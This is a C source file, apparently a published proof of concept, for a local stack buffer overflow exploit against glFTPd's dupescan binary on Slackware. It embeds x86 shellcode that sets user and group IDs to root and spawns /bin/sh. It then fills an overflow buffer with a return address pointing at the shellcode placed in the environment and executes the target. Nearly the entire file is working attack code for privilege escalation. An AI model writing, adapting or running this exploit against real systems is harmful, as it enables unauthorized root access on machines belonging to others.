/* glFTPd local stack buffer overflow exploit

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/                     
                     
#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"

char shellcode[]=
  "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
  "\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
int main(void) {

  char *env[3] = {shellcode, NULL};
  char buf[BUFFER], *path;
  int *buffer = (int *) (buf);
  int i;
  int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);

  for(i=0; i<=BUFFER; i+=4)
  *buffer++ = ret;

  printf("\n glFTPd local stack buffer overflow (Proof of Concept)\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  execle(PATH, "dupescan", buf, NULL, env);
}